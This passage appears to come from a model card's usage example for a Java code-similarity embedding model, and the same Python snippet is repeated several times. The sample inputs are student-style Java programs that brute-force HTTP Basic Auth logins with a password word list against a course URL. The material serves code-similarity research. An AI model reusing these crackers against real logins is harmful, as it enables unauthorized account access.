\'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', 